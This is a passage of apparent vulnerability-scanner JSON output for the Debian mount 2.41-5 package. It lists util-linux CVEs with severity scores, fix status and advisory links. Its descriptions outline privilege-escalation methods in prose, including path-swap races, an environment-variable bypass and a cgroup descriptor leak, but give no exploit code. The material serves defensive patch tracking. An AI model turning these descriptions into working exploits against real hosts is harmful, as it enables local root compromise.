"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:602419563390b1aad85cf5fadd75709e333edaa2b13a133b3eb24d9854a9eb13", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bfb305b1374f97807b2493b853f30361ae8deb0adc4cd63ba4649afccddb8bc9", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9c0e9bf0c7a21ef726ba84a389b7c74f972bcbde81c708c938d9b26c956421c5", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f828c6b2fe1007707d6470fc10e9b137d71c371151aff28334348aed1839b7c1", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:eeaabccb983756386bafd2afa129d4c4b4544e510f05ff2b38631c543af5c989", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:89b46191c76ec0b45b656541701983352df039699627b1aff4a4e3ade99dbeb5", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:28e1fdfe2a9819fc9b0b22cb84e5feeb90f5f984432f51e6e0a8bc733ed181b6", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "Status": "affected", 